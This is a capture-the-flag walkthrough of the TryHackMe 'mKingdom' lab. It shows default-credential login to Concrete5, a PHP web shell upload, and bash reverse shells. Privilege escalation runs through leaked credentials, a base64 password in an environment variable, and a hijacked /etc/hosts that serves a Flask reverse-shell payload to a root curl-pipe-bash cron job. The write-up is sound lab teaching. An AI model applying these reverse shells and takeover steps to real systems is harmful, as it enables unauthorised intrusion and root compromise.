TryHackMe - mKingdom¶
Introduction¶
OS: Linux
URL: mKingdom
Level: Easy
CTF styled room involving enumeration, insecure passwords and insecure file permissions.
Recon¶
First we start Off with a Nmap Scan to check for open ports and services running on the machine.
┌──(kali㉿kali)-[~/THM/mkingdom]
└─$ sudo nmap -sC -sV -oN nmap/initial $IP -v
# Nmap 7.94SVN scan initiated Fri Jun 14 21:22:37 2024 as: nmap -sC -sV -oN nmap/initial -v 10.10.248.123
Nmap scan report for 10.10.94.64
Host is up (0.17s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
85/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-methods:
|_ Supported Methods: POST OPTIONS GET HEAD
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 14 21:22:52 2024 -- 1 IP address (1 host up) scanned in 15.02 seconds
There is just one port open, port 85 running an Apache server.
Navigating to the webpage with the title "0H N0! PWN3D 4G4IN"
But this doesn't give us much information, so let's run a directory bruteforce using feroxbuster.
┌──(kali㉿kali)-[~/THM/mkingdom]
└─$ feroxbuster -u http://$IP:85/ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.3
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.94.64:85/
🚀 Threads │ 50
📖 Wordlist │ /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.3
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 10l 30w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 98l 326w 50278c http://10.10.94.64:85/img1.jpg
200 GET 33l 69w 647c http://10.10.94.64:85/
301 GET 9l 28w 310c http://10.10.94.64:85/app => http://10.10.94.64:85/app/
200 GET 38l 67w 871c http://10.10.94.64:85/app/
301 GET 9l 28w 317c http://10.10.94.64:85/app/castle => http://10.10.94.64:85/app/castle/
301 GET 9l 28w 325c http://10.10.94.64:85/app/castle/updates => http://10.10.94.64:85/app/castle/updates/
301 GET 9l 28w 326c http://10.10.94.64:85/app/castle/packages => http://10.10.94.64:85/app/castle/packages/
200 GET 240l 700w 12035c http://10.10.94.64:85/app/castle/
[..SNIP..]
Instantly we get a hit for the /app
directory.
Navigating to the /app
directory we see a single button with the text JUMP
.
Which on clicking prints the text Make yourself confortable and enjoy my place.
in an alert box and redirects to the /castle
directory.
Which our feroxbuster
also discovers slowly.
/castle
seems to be running a blog.
Scrolling to the footer of the page reveals that it's using Concrete5
CMS with Elemental
theme.
Exploitation¶
shell as www-data¶
Now that we know the CMS and the theme, searching for known vulnerabilities for Concrete5
and Elemental
theme doesn't turn up anything useful.
from the Concrete5 tutorial we know that the default login page is located at /index.php/login
.
let's access it by going to http://$IP:85/app/castle/index.php/login
.
We get a login prompt, but we don't have any credentials.
Searching for default credentials for Concrete5
shows that users are asked for a password during installation.
trying to see if the application is using any insecure (default) passwords.
admin:password
works and we get logged in to the dashboard.
Tip
It's usually a good idea to try a few default password combos before trying to brute force the password. Doing this, you'll usually find quick wins.
You'll also find out any odd behaviour pattens (IP blocking, response times, unique error messages) that can help with bruteforcing later.
In the dashboard, we have an option to upload files.
we can try to upload a simple PHP web shell
But we get an error message saying that the file type is not allowed.
My initial reaction would be to try to use some PHP upload filter bypass techniques.
But since we are the admin, let's look around the dashboard to see if any settings can be changed that will help us upload a .php shell.
going to System & Settings
--> Files
--> Allowed File Types
we can indeed change the allowed file types.
Let's add php
to the allowed file types and try to upload the shell again.
Once you close the Upload window you'll get a Upload Complete
message with the full path for the uploaded file.
Navigating to the uploaded file, we can execute commands on the server
http://$IP:85/app/castle/application/files/<DYNAMIC_PATH>/cmd.php?cmd=whoami
Let's get a reverse shell by running the classic bash payload
Note
I'm sending the payload as a POST
request as post-requests generally have fewer bad characters than GET
requests.
You can right-click on the burp request and click on Change Request Method
to change from GET
to POST
and vice versa.
You'll also need to url-encode the payload before sending it. which you can do by selecting the payload first and then pressing ctrl+u
.
┌──(kali㉿kali)-[~/THM/mkingdom]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.x.x.x] from (UNKNOWN) [10.10.94.64] 45806
bash: cannot set terminal process group (1326): Inappropriate ioctl for device
bash: no job control in this shell
www-data@mkingdom:/var/www/html/app/castle/application/files/8917/1848/1261$ whoami
<html/app/castle/application/files/8917/1848/1261$ whoami
www-data
www-data@mkingdom:/var/www/html/app/castle/application/files/8917/1848/1261$
Shell as toad¶
Since we had a login page for Concrete5
there must be a database running on the server.
Let's try to look for the database credentials.
We find the database credentials in the database.php
file inside /var/www/html/app/castle/application/config/
directory.
www-data@mkingdom:/var/www/html/app/castle/application/config$ ls
app.php database.php doctrine generated_overrides
www-data@mkingdom:/var/www/html/app/castle/application/config$ cat database.php
<?php
return [
'default-connection' => 'concrete',
'connections' => [
'concrete' => [
'driver' => 'c5_pdo_mysql',
'server' => 'localhost',
'database' => 'mKingdom',
'username' => 'toad',
'password' => '**REDACTED**',
'character_set' => 'utf8',
'collation' => 'utf8_unicode_ci',
],
],
];
www-data@mkingdom:/var/www/html/app/castle/application/config$
checking the users on the machine we see that there is a user toad
.
let's try to use the password from database.php
to login as toad
.
www-data@mkingdom:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh
mario:x:1001:1001:,,,:/home/mario:/bin/bash
toad:x:1002:1002:,,,:/home/toad:/bin/bash
www-data@mkingdom:/$ su toad
Password:
toad@mkingdom:/$ whoami
toad
toad@mkingdom:/$ cd
toad@mkingdom:~$ ls -a
. .bash_history .bashrc .compiz Desktop Downloads .ICEauthority Music Pictures Public .ssh Videos .xsession-errors
.. .bash_logout .cache .config Documents .gconf .local .mysql_history .profile smb.txt Templates .Xauthority .xsession-errors.old
There is no user.txt file in the home directory of toad
. Likely indicates that we need to switch to another user to get the user flag.
Shell as mario¶
Switching to mario user was very CTF styled and took me some time as I initially glossed over it even though it was one of the first things I checked.
If you look at the env vars you'll notice a odd env var PWD_token
set to a base64 encoded string. Decoding it gives the password for the user mario
.
toad@mkingdom:~$ env
APACHE_PID_FILE=/var/run/apache2/apache2.pid
XDG_SESSION_ID=c2
SHELL=/bin/bash
APACHE_RUN_USER=www-data
[..SNIP..]
PWD_token=**REDACTED**
MAIL=/var/mail/toad
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
[..SNIP..]
toad@mkingdom:~$ echo $PWD_token | base64 -d
ika**REDACTED**
The best way I can think of to find this automatically is to check for file modification times on user directory and look for any files that have been modified long after system install.
But sadly, this method won't work here without a huge number of false positives due to the file being modified at almost the same time as most other files on user dir.
Usually when something like this is added, it's much later than the initial setup of the machine. Making the bashrc file which has this set stick out from the rest. Which we can then diff with the original file in /etc/skel/.bashrc
to indentify the change.
toad@mkingdom:~$ diff .bashrc /etc/skel/.bashrc
21d20
< unset HISTFILE
116,117d114
<
< export PWD_token='aWth**REDACTED**=='
toad@mkingdom:~$ echo $PWD_token | base64 -d
ika**REDACTED**
toad@mkingdom:~$ su mario
Password:
mario@mkingdom:/home/toad$ whoami
mario
But anyway let's switch to mario
user using the password we found and continue our enumeration.
We get a permission denied
error when trying to read the user.txt
file.
This is because the cat
binary in /bin/cat
has the setuid bit set and is owned by our user toad
. So when you try to cat
something due to the suid bit it automatically switches to user toad
who doesn't have permissions to view the user.txt
file.
We can easily solve this by removing the suid bit from /bin/cat
and then reading the user.txt
file or by using something like grep to read the file.
mario@mkingdom:~$ ls -la $(which cat)
-rwsr-xr-x 1 toad root 47904 Mar 10 2016 /bin/cat
mario@mkingdom:~$ su toad
Password:
toad@mkingdom:/home/mario$ chmod u-s /bin/cat
toad@mkingdom:/home/mario$ exit
exit
mario@mkingdom:~$ ls -la $(which cat)
-rwxr-xr-x 1 toad root 47904 Mar 10 2016 /bin/cat
mario@mkingdom:~$ cat user.txt
thm{**REDACTED**}
mario@mkingdom:~$ grep . user.txt
thm{**REDACTED**}
Shell as root¶
Running linpeas with default settings doesn't show anything useful.
Let's try to spy for any scheduled jobs running using pspy64
.
mario@mkingdom:~$ wget $THM_VPN_IP:8000/pspy64
[..SNIP..]
2024-06-15 16:35:55 (825 KB/s) - ‘pspy64’ saved [3104768/3104768]
mario@mkingdom:~$ chmod +x pspy64
mario@mkingdom:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2024/06/15 16:36:09 CMD: UID=1001 PID=3699 | ./pspy64
2024/06/15 16:36:09 CMD: UID=0 PID=3560 | /usr/sbin/cupsd -f
[..SNIP..]
2024/06/15 16:36:09 CMD: UID=0 PID=2 |
2024/06/15 16:36:09 CMD: UID=0 PID=1 | /sbin/init
2024/06/15 16:37:01 CMD: UID=0 PID=3710 | bash
2024/06/15 16:37:01 CMD: UID=0 PID=3709 | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
2024/06/15 16:37:01 CMD: UID=0 PID=3708 | /bin/sh -c curl mkingdom.thm:85/app/castle/application/counter.sh | bash >> /var/log/up.log
2024/06/15 16:37:01 CMD: UID=0 PID=3707 | CRON
2024/06/15 16:37:01 CMD: UID=0 PID=3712 | bash
2024/06/15 16:37:01 CMD: UID=0 PID=3714 | wc -l
2024/06/15 16:37:01 CMD: UID=0 PID=3713 | ls -laR /var/www/html/app/castle/
2024/06/15 16:37:02 CMD: UID=0 PID=3715 | date
and about a minute later we see a task running as root (UID=0
) which is running a script counter.sh
mkingdom.thm
is mapped to localhost in /etc/hosts
file so it's running the script /var/www/html/app/castle/application/counter.sh
#!/bin/bash
echo "There are $(ls -laR /var/www/html/app/castle/ | wc -l) folder and files in TheCastleApp in - - - - > $(date)."
To abuse this, we need to somehow take control of the mkingdom.thm
domain and point it to our machine.
looking at the file permissions of /etc/hosts
we can see that the group mario can write to the file.
mario@mkingdom:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 mkingdom.thm
127.0.0.1 backgroundimages.concrete5.org
[..SNIP..]
mario@mkingdom:~$ ls -la /etc/hosts
-rw-rw-r-- 1 root mario 342 Jan 26 19:53 /etc/hosts
mario@mkingdom:~$ nano /etc/hosts
mario@mkingdom:~$ cat /etc/hosts
127.0.0.1 localhost
10.x.x.x mkingdom.thm
127.0.0.1 backgroundimages.concrete5.org
[..SNIP..]
now that mkingdom.thm
is pointing to our machine, we can create a script that will give us a reverse shell.
I'll be writing a simple flask server that responds with a reverse shell payload when /app/castle/application/counter.sh
is requested.
you can even just use python -m http.server 85
and create the required file structure or create a custom script using http.server
module.
from flask import Flask
app = Flask(__name__)
@app.route('/app/castle/application/counter.sh')
def hello_world():
return """bash -c 'bash -i >& /dev/tcp/YOUR_THM_VPN_IP/9001 0>&1'"""
if __name__ == '__main__':
app.run(host='0.0.0.0', port=85)
let's run both a netcat listener on port 9001
and the flask server at port 85
and wait for a minute until the cron job runs and you see a log entry in flask server output.
┌──(kali㉿kali)-[~/THM/mkingdom]
└─$ python exploit_flask.py
* Serving Flask app 'exploit_flask'
* Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
* Running on all addresses (0.0.0.0)
* Running on http://127.0.0.1:85
* Running on http://192.168.74.132:85
Press CTRL+C to quit
10.10.94.64 - - [15/Jun/2024 16:54:00] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
Once you see the request, you should have a root shell.
┌──(kali㉿kali)-[~/THM/mkingdom]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.x.x.x] from (UNKNOWN) [10.10.94.64] 46360
bash: cannot set terminal process group (3968): Inappropriate ioctl for device
bash: no job control in this shell
root@mkingdom:~# whoami
whoami
root
root@mkingdom:~# cat root.txt
cat root.txt
thm{**REDACTED**}